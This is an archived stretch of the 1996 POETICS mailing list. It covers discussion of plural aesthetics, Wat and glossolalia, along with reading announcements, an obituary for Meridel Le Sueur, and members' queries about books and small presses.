> *You probably don't know me, but I seem to remember you accidentally sent a copy of some work meant for the Electronic Poetry Review to the POETICS list many months ago.*
>
> *I'm just wondering if you've every heard anything from those folks. I submitted some work myself, and on realizing how long it has been I sent some emails off to the editors -- one was returned as being an invalid address (the kswiggert or kwsiggart address), & the generic epr address got no response. Their web site seems to have stalled in April as well.*
>
> *I have a probably-overdeveloped sense of ethics that prevents me from sending material out when it's under consideration elsewhere, so I'm just trying my best to make sure EPR is really alive (or not) before I take any other action with the work...*
>
> *Anyway, if you happen to know anything I'd sure be interested...*
>
> *Thanks,*
>
> *David.*
>
> --

> [redacted]
> *David Golumbia*

Fred Muratori
Reference Services Division
Olin - Kroch - Uris Libraries
Cornell University
[redacted]
http://fmref.library.cornell.edu/spectra.html

****

"The spaces between things
keep getting bigger
and more important"

-- Jon Ashbery
****

↑ Index

280. henry gould
Re: infraverbal, pluralaesthetic
Mon 18 Nov 1996

Footnote to Mark's useful comments: there's more info on Grumman's Runaway Spoon press in the small press directory at the epc. http://writing.upenn.edu/epc.

I wonder if there's a space where "pluralaesthetic" and anti- or post- aesthetic meet? A "poor" art. I'm thinkin of the interesting essay on Polish poet Alexander Wat in latest NY Review of Bks. Wat began as a sort of Dada experimentalist in 20s ("revolutionary", parodic anti-art). After surviving WWI & gulag, he began writing again in late 40s, 50s. His fascinating poetry is in one version in English I know of. According to C. Milosz, he turned against "difficult", avant-garde art, finding parallels between the avant-garde artist manipulating language & dictators manipulating peoples. (This is a simplification I'm sure on my part.) From the little I've read of his poetry, he works with short lyrics as a form of compression & intensity. Not for art-effects, but to intensify & bring to bear the ironies & strangeness of the history he's experienced.

The "problem" of the "artist" trapped in the aesthetic hall of mirrors is a long-standing one. I guess what I'm trying to get at is whether a "plural aesthetic" would include a measure of _realism_ (not 19th century or social realism but something else... experiential?). Authenticity? What's the word for the value of art-work that transcends the categories of "art" & does something to spirit &

nature? Becomes part of a wider conversation (or deeper)? (or simpler?) - Henry Gould (ethos, logos, pathos? - please, educate, & "move"?)

p.s. I don't have Wat's poems handy. But a harsh example of what I referred to above: his short poem - a little narrative - in which an executioner, axe still bloody, soothes a little child staring at her father's head. Then she carries it on a pole in a parade under the banner "Progress for all peoples - Death to enemies". The poem is dedicated to martyred friends & "thousands of others". I believe it's called something like "20th Century" (could be wrong).

↑ Index

281. Charles Bernstein
New Poetics Archive Features
Mon 18 Nov 1996

Joe Amato pointed out to me that I had mistakenly left the old listserv address in section 6 of the Welcome Message ("review poetics") -- it should have said send this message to [redacted] With the new listserv program, the automatic archiving of the list is significantly improved. You can find the new archives at

http://writing.upenn.edu/epc/poetics

This archive is up to the minute; that is, it will have this message as fast as you do. It also give you many sorting features but it is primarily organized around the subject header (it sort all messages with the same header together), another reason to be sure to check that the subject header is accurate when you send a message to the list. The archive covers March 1994 to present; earlier material (starting December 1993) will remain available at the EPC of course. It seems to me that this may significantly change the use of this list, since it makes the archive a viable alternative to the digest or toggling between mail and nomail. And it makes the list much easier to read for nonsubcribers.

some examples:

Sort by:
Author | Date | Topic
Chronologically | Most recent first
Options:
Show author | Hide author

Back to main POETICS menu
Search

SUBJECT SORT (Nov.) looks like this:

<No subject> (3 messages)
A Free Drink in the Archives (2 messages)
ALIVE! Ronald Johnson Reading
ANALYSIS OF THE U.S. POSITION ON THE DRAFT DECLARATION (fwd)
AWOL November Happenings posted
AWOL: John Kinsella's US tour (forwarded)
All loyalty to the social. (2 messages)
Ange Mlinko & Edwin Torres @ Ear Inn Sat 2:30
Anne Waldman reading (2 messages)

and of course you can click on any of these lines to go to messages

note that this is not helpful:

POETICS Digest - 10 Nov 1996 to 11 Nov 1996
POETICS Digest - 2 Nov 1996 to 3 Nov 1996
POETICS Digest - 30 Oct 1996 to 31 Oct 1996
POETICS Digest - 9 Nov 1996 to 10 Nov 1996

then ends Caps letters with:

WOODLAND PATTERN READINGS
Yeats Assistance
Yi-Young Lee

then goes to lower case:

a real book review [long, maybe]
address for Brakhage (2 messages)
arrival
broughton and gleason papers
buy nothing day (fwd)
call for help; russian verse (3 messages)
call for papers (fwd)
calls for help: correction
constabulary notes from all over (3 messages)

then gives you the blow by blow

1. "I recognize a frog by its structure"
   Re: "I recognize a frog by its structure" (32 lines)
   From: Joe Amato <[redacted]>
   Re: "I recognize a frog by its structure" (41 lines)
   From: Joe Amato <[redacted]>
   Re: "I recognize a frog by its structure" (33 lines)
   From: Aldon L. Nielsen <[redacted]>

2.(FORWARDED) AWOL: PUSHING AT SILENCE By Andrew Burke
(FORWARDED) AWOL: PUSHING AT SILENCE By Andrew Burke (66 lines)
From: Mark Roberts <[redacted]>

3.(Forwarded) AWOL: Hazel Smith Abstractly Represented for sale
(Forwarded) AWOL: Hazel Smith Abstractly Represented for sale (122 lines)
From: Mark Roberts <[redacted]>

By author (a random sample): note it sorts by first name!:

52. Kevin Killian <[redacted]>
Re: John Kinsella (15 lines)
SPT readings (28 lines)
San Francisco Events this week that I know about (68 lines)
San Francisco Premonitions Reading (51 lines)

53.Kurt Nimmo <[redacted]>
PNG POET SERIES: LYN LIFSHIN (85 lines)

[redacted]
Re: John Kinsella in Boston (14 lines)

55.Loss Glazier <[redacted]>
Re: John Kinsella (18 lines)

56.Louis Cabri <[redacted]>
All loyalty to the social. (29 lines)
Ray words (39 lines)
South Africa (9 lines)
South African (10 lines)

57.Mark Nowak <[redacted]>
Paul Metcalf Readings (22 lines)

Once you are reading message, there are these options:

View:
Next message | Previous message
Next in topic | Previous in topic
Next by same author | Previous by same author
Previous menu (November 1996)
Main POETICS menu
Search
Options:
Chronological order | Most recent first
Proportional font | Non-proportional font

↑ Index

282. Alan Jen Sondheim
Re: infraverbal, pluralaesthetic
Mon 18 Nov 1996

Don't forget re/poor art, art povera and Germano Celant's surrounding discourse, back in the 70's, and I'd tied that into, say, the makeshift of Cabaret Voltaire in their early days -

Alan

http://jefferson.village.virginia.edu/~spoons/internet_txt.html images: http://www.cs.unca.edu/~davidson/pix/ Tel [redacted] CuSeeMe 166.84.250.149

↑ Index

283. aerialedge
Inman Reading/Talk @ Bridge Street
Mon 18 Nov 1996

Bridge Street Books & Aerial Magazine present

SUNDAY NOVEMBER 24th at 8 PM

a reading/talk by

P. Inman

author of _Criss Cross_, _Vel_, _Red Shift_, _Think of One_, _Uneven Development_, & _Ocker_.

"P. Inman's mind is a thoroughly attached organ." --Diane Ward

Bridge Street Books, 2814 Pennsylvania Ave NW, Washington DC 20007. 5 blocks from Foggy Bottom Metro stop. ph [redacted].

↑ Index

284. John Geraets
space aesthetica
Mon 18 Nov 1996

---

a nagoyan friend Matthew Taylor, enthusiastic about Richard Dawkins's "biomorphs" work and complexity theory in general, came
up with some stimulating defns regarding creativity:

: it presupposes a set of possibilities, 'search' or
  'design space'

: this space's hyperdimensional

: design space includes indefinitely large set of
interesting or aesthetically pleasing artifacts (--'art')

: such artifacts exist within larger non-interesting and
-pleasing set, that is a vast no. of desirable artifacts
within much vaster no. undesirable ones (islands within sea)

etc

Matthew sums up:

"Creativity is efficient... [It] is moving through a space of possibilities in an extremely fast and productive manner."

What do you think about this?

↑ Index

285. Joseph Conte
Dictionary of Literary Biography
Mon 18 Nov 1996

I'd like to announce the publication of the second volume in my series on American Poets Since World War II in the _Dictionary of Literary Biography_ series. This is volume 169. Once again, there are substantial entries with biographical, critical, and bibligraphical information on a number of poets of interest to the Poetics List. Several entries were written by List members. The table of contents for this volume includes:

Kenneth Sherwood on David Antin
Loss Glazier on Charles Bernstein
Ed Foster on Ted Berrigan
Brett Millier on Elizabeth Bishop and Louise Bogan
Mike Basinski on Charles Bukowski
Loss Glazier on Robert Creeley
Willard Spiegelman on Irving Feldman
Peter Quartermain on Kathleen Fraser
Laszlo Gefin on Allen Ginsberg
Ashley Brown on Anthony Hecht
Eric Selinger on Ronald Johnson
Elizabeth House on Carolyn Kizer
Ashley Brown on Robert Lowell
Mark Scroggins on Nathaniel Mackey
James McCorkle on W. S. Merwin
Keith Tuma on Michael Palmer
Robert Friedman on Ishmael Reed
Joseph Conte on James Schuyler

Diane Middlebrook on Anne Sexton
T. C. Marshall on Ron Silliman
Susan Schultz on Cathy Song
Chris Stroffolino on James Tate
Steven Evans on Rosmarie Waldrop
Richard Calhoun on Richard Wilbur
Andrew Elkins on James Wright

As with _DLB 165_, this volume is published by Gale Research Press (Detroit, MI) in hardback only, largely for sale to research, public, and private libraries. I think the price is close to $175 per volume. Hopefully, there's a library near you that carries the _DLB_ series. It's easy (an inexpensive) to photocopy the entries.

One final volume edited by me on contemporary poets has nearly been completed and will be published sometime in 1997. I'd be happy to have suggestions and comments about the series backchannel.

Joseph Conte
[redacted]

↑ Index

286. **aerialedge**
Armantrout Abacus
Mon 18 Nov 1996

Wanted to trumpet Rae Armantrout's new Abacus "from _The Pretext_." Armantrout's ability to lyrically access the daily tangents within recognition's, well, what do I mean here-- something about abstract/concrete -- for example:

"compact as the present/
in the mouth of an anchorperson."

There is a quality of _observation_ more than description. Description seems to put the accent on the exterior-- Armantrout seems to work in that area where the perception enters/alters the person-- many poets do but few with such finite intensity. The question of the duration of that altering also included-- and the multiplicity & response. Not a machine made of words. Too exact to be a machine. One can't quote at length because the whole is also a part in a way that rings because real. What it is-- ok, abstract/concrete -- credulity/incredulity _blurred_ into human being (being being a verb)-- "Hell is unredeemed experience?"

"Just one/
knock at a door/
when usually it's three."

"Astronomers know/
a signal's/
not an answer."

Not glamorous, just amazing.

--Rod

Order from Potes & Poets, 181 Edgemont Ave., Elmwood CT 06110. A mere four dollars.

↑ Index

287. **Bil Brown**
Re: infraverbal, pluralaesthetic
Mon 18 Nov 1996

<<finding parallels between the avant-garde artist
manipulating language & dictators manipulating peoples>>

I think this is a great statement -- but bringsd into question ART AS PROPAGANDA. LR films and such... which I'm sure we can agree are ART and DIRECT PROPAGANDA.

A few years ago their was an anthology that put the politics of poetic form into question. the idea that the art of this propaganda is <<part of a wider conversation (or deeper)? (or simpler?)>> is very ODD to me.

The POINT of politics/poetics in this mileu, post language, post structure, post post whatever seems to be OUTSIDE of these issues. Prose or poetry that delves into these issues, revealing, whatever is PROPAGANDA is giving the artists point-of-veiw as possessor of a knowledge that someone else does not possess. I don't know if I can handle that, but it is done -- regularly. Esp. at the open mic...

I wonder where glossalalia fits into propagandite poesy??

Hmmmmmm.

Bil Brown

↑ Index

288. **Bil Brown**
Re: infraverbal, pluralaesthetic
Mon 18 Nov 1996

Pluralaesthetic...

Sounds great on paper. Unfortunately, I sense that it would be incredibly boring in performance.

Bil Brown

↑ Index

289. **dbkk**
Spicer's Language
Mon 18 Nov 1996

This is Dodie Bellamy.

Artist Fran Herndon has turned over to Small Press Traffic a box of Spicer's White Rabbit book *Language.* She would like us to sell these books to people who would really appreciate them. These books are brand new, never having seen the light of day since they were packaged in 1965.

We're asking $30 plus $2 for shipping and handling. This is cheaper than the battered copies that you'll find in bookstores. Checks should be made to Small Press Traffic and mailed to:

Small Press Traffic
at New College
766 Valencia
San Francisco, CA 94110

415/[redacted]

↑ Index

290. **Bil Brown**
Naropa Grads/Keroauc School Students OUT THERE
Mon 18 Nov 1996

This is Bil Brown,

If you were a hanger on at the Poetics program at The Naropa Institute betwixt the years of 1991-1995

HELLO

I was working in the writing office and doing various other things and I want to know where my friends are. I have heard from Jay Schwartz, but I want to know where the rest of you are!!

I am currently in Louisville, KY and working diligently to get this poetry community to a standard that I see in the rest of the country. Recently, this has brought me to be asked to start a POETICS PROGRAM at a community center (directing & whatnot) and I want to bring people here, NOW.

I have been workshoping writers in Performance, Experiment, Ethnopoetics, Investigative Poetics ... BUT I NEED MORE HELP.

It is very difficult to be the ONLY one that knows what the HELL I am talking about here, outside of the university.

EMAIL ME, TELL ME WHERE YOU ARE NAROPA GRADS!!

Yours in deed,

Bil Brown

↑ Index

291. Paul McDonald - Bon Air Branch

Re: Naropa Grads/Keroauc School Students OUT THERE

Mon 18 Nov 1996

Bil,

"The ONLY one that knows whats going on?"

My feelings are hurt!!

sniff

Paul

↑ Index

292. Laura Moriarty

Re: Well

Mon 18 Nov 1996

Bill -

You post seems related to the that on-going thread about politics and poetry so I thought I'd mention an article about the mechanism of poetry's affect on politics - (I didn't know the citation of the piece at the time of the earlier postings -) The author, Robert Kaufman is a reader of the kind of writing represented on this list. The article is

"Legislators of the Post-Everything World: Shelley's DEFENCE of Adorno," ELH, 63 (1996) 707-733.

The article may also be seen to relate to John Gerat's mention of complexity theory. The connection being that a thing does not need to be seen or read by the maximun number of people to have an important, even crucial, effect.

> *I am interested in what ppl think about POETICS in relationship to an audience outside of other poets.*

> *e.g. the last few years with the Spoken Word trad. and Perf-Po musings: obviously ALL of this is obsolete almost immediately. To infuse social-anarcho change, using the role of the media/mediated and creating a true discourse: do we have to come outside of the academy, even the NEW academies like Buffalo, New School SF, and Naropa? Street poetics, performance art slams, preaching poetics...*

↑ Index

293. **Henry Gould**
Re: Well
Mon 18 Nov 1996

On Mon, 18 Nov 1996 11:27:15 -0800 Laura Moriarty said:
>
>"Legislators of the Post-Everything World: Shelley's DEFENCE of Adorno,"
>ELH, 63 (1996) 707-733.
>
>The article may also be seen to relate to John Gerat's mention of
>complexity theory. The connection being that a thing does not need to be
>seen or read by the maximun number of people to have an important, even
>crucial, effect.
>
Maybe poetry is always already pluralaesthetic, in that through poetry
language gives poets a material to shape just as painters use paint.
& the "crucial effect" for the poet at least is inherent in the material.
The realized poem is sufficient & ready to provide its MOST crucial
effect: its reading. We go back to the chunk of puddingstone thrown
into the river, but since the river keeps moving, the ripple effects are
hard to measure (somebody keeps throwing the rulers into the water too).
Then we follow the rock down to the riverbed, only to realize that
the poem was actually something somebody just called across overhead,
didn't even touch the water. Go fish. There may be a great
divide between what poetry means to poets & what it means to societies
at large. But there's plenty of room in language for both of them
to get lost. - HG

↑ Index

294. **cupslit**
Edward Dahlberg
Mon 18 Nov 1996

"We are too often reminded that many people have all of Baudelaire's abnormalities and are not artists but just hapless bores."

-- Edward Dahlberg

↑ Index

295. **Bil Brown**
Re: Well
Mon 18 Nov 1996

<<here may be a great
divide between
what poetry

means to poets &
what it means
to societies
at large. >>

BUT it is OUR responsibility to HAVE SOCIETY PAY ATTENTION TO US -- as poets, as writers.

- bil

↑ Index

296. **Bil Brown**
Re: Naropa Grads/Keroauc School Students OUT THERE
Mon 18 Nov 1996

HAHA.

↑ Index

297. **Eryque Gleason**
Re: space aesthetica
Mon 18 Nov 1996

At 3:35 PM 11/18/96 +0900, John Geraets wrote:
>a nagoyan friend Matthew Taylor, enthusiastic about Richard Dawkins's
>"biomorphs" work and complexity theory in general, came
>up with some stimulating defns regarding creativity

isn't richard dawkins the dead host of family fued?

↑ Index

298. Thomas M. Orange
grumman / wat
Tue 19 Nov 1996

henry et al. --

where can a body get a looksee at their stuff?
anthologies, journals, chaps?

tom

↑ Index

299. Ward Tietz
Glossolalia
Tue 19 Nov 1996

On Monday, November 18, Bil Brown wrote, "I wonder where glossalalia fits into propagandite poesy??"

Vincent Barras' article in the Swiss-French journal Equinoxe (no 14, Autumn 1995) investigates some of this in an article entitled "Glossolalies? La Glotte Y Sonne Un Hallali!," (Glossolalias? The Glottis Sounds the Kill!) in which he starts off by saying,

"Un point commun entre les pentecotistes, les spirites, les possedes, les schizophrenes, les enfants et les poetes: la glossolalie, qu'en theologie on appelle parfois 'parler en langues.' Le pluriel marque precisement l'utopie d'une langue universelle, comprise de tous, rassemblant et annulant toutes les langues a la fois, mais aussi, du fait de cette simultaneite, supprimant la langue, ou du moins sa portee de signification, au profit de sa seule enveloppe sonore."

"A common point between the Pentecosts, spiritualists, the possessed, schizophrenics, children and poets: glossolalia, which in theology one sometimes calls "speaking in tongues." The plural marks precisely the utopia of a universal language, comprised of everything, collecting and canceling all languages at the same time, but also, due to this simultaneity, suppressing language or at least its capacity to signify, to the profit of its sole sonic envelope." (my translation)

Vincent is both a medical historian and a sound poet, which makes for some rather amazing observations. He'll also be participating, coincidentally, in a performance/conference "spectacle" in Annecy, France on November 21st which studies the case of the nineteenth-century medium Helene Smith, who spoke, according to the brochure I have, Sanscrit, Martian, Ultra-martian and Uranian.

Ward Tietz

↑ Index

300. Robert Drake
Re: infraverbal, pluralaesthetic
Tue 19 Nov 1996

---

glad to have both mark & henry's 'marks on "pluraesthetic"; & i think it's right on the money to connect politics w/ institutionalized genre restraints... which segue allows me to recommend issue #3 of Chain (215 Ashland Ave., Buffalo NY 14222), th second volume ov which arrived a coupla days ago & well worth th wait... devoted to hybrid genre's/mixed media... cd instead be used as a definition of pluraesthetics, if such wasnt a contradiction in terms...

luigi

↑ Index

301. william marsh
Re: infraverbal, pluralaesthetic
Tue 19 Nov 1996

At 01:38 PM 11/18/96 -0500, you wrote:
>Pluralaesthetic...
>
>Sounds great on paper. Unfortunately, I sense that it would be incredibly
>boring in performance.
>
>Bil Brown
>

Does "sound great" on paper, which leads me to believe it would look, or read great in performance as well. I think that's the point -- to synthesize eye/ear engagements with the word. Can't imagine that would be boring in any format.

bill marsh

↑ Index

302. Charles Bernstein
Cave Art in the French Dordogne
Tue 19 Nov 1996

SPECIAL ANNOUNCEMENT!

PREHISTORIC CAVE ART OF THE FRENCH DORDOGNE
An Unforgettable Journey led by Poet Clayton Eshleman

with Special Guest Lecturers
Anne Waldman and Andrew Schelling

May 27th - June 10th, 1997

What is Included:

* A comprehensive program of informal lectures, cave visits, field trips, and excursions.
* Expertise of distinguished American poet Clayton Eshleman (including six lectures) and his wife Caryl who have done extensive research on the cave art of the Dordogne region of Southwestern France.
* Seperate guest lectures by Anne Waldman and Andrew Schelling.
* Four nights hotel accommodations in Paris, double occupancy at a three star hotel.
* 10 nights hotel accommodations, double occupancy at the Hotel Cro-Magnon in Les Eyzies.
* Ten four-course dinners and continental breakfasts at the Hotel Cro-Magnon.
* All transfers, taxes and porterage.
* All admissions to sites per itinerary.

Costs: (Per Person)
Land Arrangements:
$3,495 (based on double occupancy)

Single room supplement
approx. $ 500 additional

One additional night's hotel accommodations returning to Paris on June 3, 1997.- Approx. $l00 additional (based on double occupancy) Note: Participants are responsible for making their own air travel arrangements to and from Paris.

Payment Deadlines:
Registration/Deposit Deadline
February 1st, 1997

Please Note!!: Space is Limited,
therefore, early registration is suggested.

Balance Due
March 15, 1997

To receive more information and an application form, please contact:

Eastern Michigan University
Office of Academic Programs Abroad
332 Goodison Hall
Ypsilanti, MI 48197

or by e-mail at:

[redacted]

or call us, toll-free at:

[redacted]

Also, please look for for new and updated information about the Summer 1997 Cave Art Program on the World Wide Web at the following site:

http://www.emich.edu/public/cont_ed/alumni.html

****

↑ Index

303. aerialedge
Inman reading/talk @ Bridge Street
Tue 19 Nov 1996

Bridge Street Books & Aerial Magazine present

SUNDAY NOVEMBER 24th at 8 PM

a reading/talk by

P. Inman

author of _Criss Cross_, _Vel_, _Red Shift_, _Think of One_, _Uneven Development_, & _Ocker_.

"P. Inman's mind is a thoroughly attached organ." --Diane Ward

Bridge Street Books, 2814 Pennsylvania Ave NW, Washington DC 20007. 5 blocks from Foggy Bottom Metro stop. ph [redacted].

--sent this yesterday & it seemed to disappear. apologies if double-posted.

↑ Index

304. Pritchett,Pat
Re: way, wave, wavy
Tue 19 Nov 1996

Just want to acknowledge Anselm Hollo's wonderful elegy for Larry Eigner in the latest "Exquisite Corpse." (Along with other groovy poems).

Thanks Anselm!

Patrick Pritchett

↑ Index

305. Eliza McGrand- CVA Guest

sad news and an appreciation, Meridel Le Sueur

Tue 19 Nov 1996

---

following reached me yesterday, to my great sadness. it is sad news and a lovely appreciation of meridel le sueur by my friend jo grant. if anyone has anything they want to share/remember/say about meridel and her work, i know jo would be very moved to receive it. he has known her for some time and this is a sad time for him as well as for anyone who has read meridel's work. when i read her, i am reminded of tillie olson's fearlessness, of the sweep and closeness of judy grahn and adrienne rich and pat parker and audre lord, of the tenderness of sara orne jewett. meridel's writing can literally make me have to stop reading because i am so overwhelmed by the pain and the sharp beauty of her words...

Date: Mon, 18 Nov 1996 02:00:06 -0600
Subject: Meridel Le Sueur: 1900-1996

Friends,

Very sad to inform the many Iowa Citians who were friends of Meridel LeSueur that she died yesterday. For those who attended her last appearence in Iowa City, at Old Brick, during her final Iowa Tour will remember her telling us:

"I was born at the beginning of the swiftest and bloodiest century at Murray, Iowa, in a white square puritan house in the corn belt, of two physically beautiful people who had come west through the Indian and the Lincoln country, creating the new race of the Americas by enormous and rugged and gay matings with the Dutch, the Indian, the Irish; being preachers, abolitionists, agrarians, radical lawyers on the Lincoln, Illinois, circuit.

"Dissenters and democrats and radicals through five generations.

Meridel LeSueur - 1900-1996

That night at Old Brick Meridel spoke about the years of being blacklisted by McCarthy and the difficult time she and her children had trying to survive during the reign of the House UnAmerican Activities Committee. At one point her agent told her she could sell more books if she would write like Ernest Hemingway. She responded "I would, but I have better things to do with my time than write about fighting, fishing and fucking."

A feminist decades before the term entered everyday use, she spent her life on the front line fighting for the rights of women, minorities, Native Americans, gays and the disabled.

A review of her most recent book, THE DREAD ROAD, and an article about her can be found at www.bookzen.com. Both have been downloaded by newspapers from around the world, along with embarassingly few from the U.S.

The book review is at: <http://www.bookzen.com/books/0000066r1.html>

The article is at: <http://www.bookzen.com/books/0000066a1.html>

Both were written by Chuck Miller. When Meridel read them she was so touched she cried. It was rare when anything as insightful as Miller's article and review had ever been written about her. After many hours of audio and video recording of Meridel over a period of 13 years it was the first time I witnessed her crying.

But what a life...

As a young girl she marched with Mother Bloor in Colorado to protest the massacre of miners and their families at Ludlow; during her early teens lived with Emma Goldman and Alexander Berkman; grew up a prolitarian writer who counted as her friends: Agnes Smedley, Josephine Herbst, Nelson Algren, Grace Lumpkin, Upton Sinclair, Jack Conroy, Richard Wright, Zona Gale, Theodore Drieser, Kenneth Fearing, Mari Sandoz...Boris Israel and too many others to name here. Her grandfather, whose wife was identified only as a squaw--since the state of Ohio didn't include names of Native Americans who married white men--was a friend of John Chapman (Johnny Appleseed)....

I've gone on too long.

I'll close with this quote from Miller's article:

"Henry Miller, Keraouc and Bukowski are all dead. There is no one else left of LeSueur's stature in American literature today. She stands alone, a giant, waiting to be discovered by her own nation."

Amen to thjat, or rather, A(wo)men!

If anyone does not have access to the World Wide Web E-mail me and I will send the article and the review by return mail.

All of Meridel's books are in Special Collections at the main UI library if the Iowa City Public Library doesn't have them.

Some people have contacted me and asked if they can share thoughts about Meridel and have them posted where their friends could find them and respond. We're setting it up with all comments being printed and copies being placed in the LeSueur collections in MN, WI & IA.

j grant

E,

Don't hesitate to share this with any friends who know about Meridel.
Peace and love,
joe

Authors & publishers display books free at
http://www.bookzen.com
10,877 visitors 10-28 to 11-03

↑ Index

306. **Bil Brown**
Re: Anselm
Tue 19 Nov 1996

So, does anyone know if Anselm checks his email... or this list??

Bil Brown

↑ Index

307. **Alan Jen Sondheim**
Re: Glossolalia
Tue 19 Nov 1996

Not to devour a dead horse, but back in 1971 I did a long piece called Typed Glossolalia - going into a trance-state and typing "randomly" for around 8000 characters. The inner 4000 were then analyzed with time series analysis among other techniques, looking for evidence of repetitive pat- terns, beyond the doubled (jkjkjk etc.) of alternating fingers; none were found. This was used in a critique of determinism in human and other org- anisms. Part of the text & commentary were published in pamphlet. There was no spirit come to haunt, flaunt, or daunt. Alan

http://jefferson.village.virginia.edu/~spoons/internet_txt.html images: http://www.cs.unca.edu/~davidson/pix/ Tel [redacted] CuSeeMe 166.84.250.149

↑ Index

308. **nuyopoman**
AZ
Wed 20 Nov 1996

I'm out here in Tempe for a week, with gigs Wed @Kerr Cultural Center and Sat at Gammage. Samantha Coerbell, Tracie Morris, Edwin Torres are here too. Dew drop inn, and is there anything else happening here? Backchannel, svp...

Bob Holman

↑ Index

309. Henry Gould
Re: grumman / wat
Wed 20 Nov 1996

Bob Grumman's press Runaway Spoon is listed in the "Small Press" section at EPC - http://writing.upenn.edu/epc on the web. Others I'm sure can give more info. If you can check the archives there were posts here a few days back from Jeff Hansen and others about Grumman's work.

A selection of Wat's poetry came out in English translated by Czeslaw Milosz:
Wat, Aleksandr
With the Skin
Ecco Press, 1989

there's also his oral history autobiography (with Milosz) called My Century, remarkable life. & there's a new biography just out in English by Tomas Venklova (sp?) "Aleksander Wat" something something... - HG

↑ Index

310. Fred Muratori
EPR Web Address Correction
Wed 20 Nov 1996

My apologies to the list for transmitting erroneous info. The correct address for the Electronic Poetry Review web site is:

http://www.poetry.org/

Works fine as of 8:40 a.m. Wednesday.

-- FM

****
Fred Muratori "Certain themes are incurable."

([redacted])
Reference Services Division - Lyn Hejinian
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

↑ Index

311. Michael Boughn
Dildo update
Wed 20 Nov 1996

For all those anti-dildo party-poopers who claimed that that thread was irrelevant to our serious avant-garde business here, here's a surprising connection from some recent reading:

Originally the leather dildo was worn by comic actors in the satyr plays, through which it's connected to Dionysus and subversive, sexual hilarity. It's also connected to the grotesque crone Baubo^ who supposedly exposed her bare bum and genitals to Demeter, making the goddess laugh and thus forget her grief. The name Baubo^ was also used for the dildo, and one of Baubo^'s other names was Iambe, the origin of "iambus", the limping meter.

So there you have it folks--poetics and dildoes have long gone together.

Seriously,
Mike
[redacted]

↑ Index

312. Jerry Rothenberg
query
Wed 20 Nov 1996

If anybody out there has the information to hand, we're looking for a clean copy (the typeset version) of Olson's Plan for a Curriculum of the Soul. It's in our manuscript for volume two of Millennium and came out of my stack of Olson books etc., but I can't for the moment put my hands on it and very much need it for insertion (as is) into the finished book.

Back channel would certainly be okay for this one,
at [redacted] or [redacted].

Muchas gracias

jr

↑ Index

313. Eliza McGrand- CVA Guest

sad news about Meridel Le Sueur

Wed 20 Nov 1996

i am forwarding a note i received from my friend jo grant at bookzen. meridel le sueur has died.

it is hard news, though she is very old and has led an incredibly rich, giving life. it is hard to think there will be no new stories, poems, essays. her work is, like that of tillie olson, judy grahn, adrienne rich, pat parker, audre lord, an unflinching, careful, strong writing of women's lives with a particular tender, lyric quality of its own. i am sometimes reminded of sarah orne jewett when i read her gentle, image-filled text, and yet her words also have the anger and social ferocity of dreiser, of the vietnam poets and writers, of sharon olds and dorothy allison. i try and describe her in terms of other writers, other texts, because i am trying to hold on to her, connect her so tha it won't feel as if she has gone quite so far.

i know jo grant and her family would be moved to hear any words anyone would like to send in tribute to, or memory of, meridel. you may reach them at the address in jo's mailing (appended). ----------

Date: Mon, 18 Nov 1996 02:00:06 -0600
Subject: Meridel Le Sueur: 1900-1996

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"I was born at the beginning of the swiftest and bloodiest century at Murray, Iowa, in a white square puritan house in the corn belt, of two physically beautiful people who had come west through the Indian and the Lincoln country, creating the new race of the Americas by enormous and rugged and gay matings with the Dutch, the Indian, the Irish; being preachers, abolitionists, agrarians, radical lawyers on the Lincoln, Illinois, circuit.

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j grant

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Peace and love,
joe

Authors & publishers display books free at
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10,877 visitors 10-28 to 11-03

↑ Index

314. **maz881**

Ear Inn Reading Report nov 16

Wed 20 Nov 1996

Last friday night Drew Gardner had a cold. He played drums at Biblios with his hands. The Poets watched and drank beer. They smoked. They read popular magazines and Klaus Kinsky.

After jazz the poets went to Sophies, occupied the window and talked. The poets got a table and sat. The poets sat in the window and kissed. Urging was done by the poets because one poet wanted to go home. The poets bought one poet more drinks.

Saturday morning the poets called in search of the blood brain barrier. They learned that one poet had made out with another poet who had made out with Allen Ginsberg. After the calling, they gathered and discussed psychological testing. Arguments were passed to the back end, the DSM was referenced and poetry books with illustrations were consulted. The poets who had headaches were massaged, drank water & smoked more cigarettes.

In the Afternoon the poets saw themselves at the Ear Inn. The workers at the Ear Inn do not like the poets. The bartender at the Ear Inn is a poet and doesn't like it when the poets start readings late.

A poet pointed out that Armand Schwerner sat at a table. Drew Gardner began to read. Once he said devil. Another time the mind of god. And before that the arms of my lover. His poems were described by one poet as about thinking. Another poet didn't have a comment. The poets were pleased by his beautiful changeups.

The poets put $3 in a basket. After counting, there were $64 for the poets and $25 for the workers. The poets socialized. The workers worked.

Chuck Stein was described as having written the Hat Rack Tree. Chuck give whale advice. Drew invented this because he took esoteric classes with Chuck.

Chuck explained his idea of a project not a long work but the things you do. He talked about small press publishing, Jack Clark and Hermes Coyote.

If it doesn't bite
don't believe its wolf teeth
gate the god speech

Chuck said how your old hat sits on the hat rack tree. Now you go to buy a new hat. Should it be just like it? One poet wore a raiders hat and hugged another. After Chuck, the poets were urged to come back next week to hear Patricia Jones and Lydia Davis. They were also urged to pay their bills, tip big, and leave the room so the workers could set up for dinner.

The poets walked to the sitting area at Brothers and drank. A few poets walked around looking for one another and talked when they were found. The poets irritated the poets and made them laugh.

On Sunday the poets ate carribean food and went to the Brooklyn Moon. There were no snakes in a tree poem read by a poet. Hundreds of tiny halos surrounded the figs. After the reading the poets talked about Michele Wallace and irony. One poet shaved his mustache and another poet won a nickel. The poets were very relaxed.

At night the poets took the F train to a party. One poet left a hat on the seat hoping that it would go to queens. Another poet left one at the party. The poets went home, confessed & didn't get much sleep.

↑ Index

315. k.a. hehir
the poets and land and landing poets
Wed 20 Nov 1996

---

i just received my copy of GRAIN today. i realize that this an american based talkgroup but i must ask: the new poems i read today have a real feel of landscape, climate and enviroment that become a very comfortable parentheses within which the voice frolics and grooves.

my query is twofold. are there any western american writers that i could read that use the harsh isolation as a springboard for verse.(i don't mean cowboy poetry)? (2) are there any prairie poets who,have been able to transcend the lingo of the farm/slough/seasons/quanset(sp?) hut/hockey/trapping/chiasmustic seasonal changes. as a transplanted gopher chaser i am finding it harder to find a voice that somehow negotiates the two.

cheers,
kevin

↑ Index

316. k.a. hehir
*l%a*n([redacted]!a_g#e*
Wed 20 Nov 1996

---

would any of my american friends be able to help me locate a copy of the LANGUAGE(='s) anthology. please backchannel.
thank you,
kevin hehir
[redacted]

↑ Index

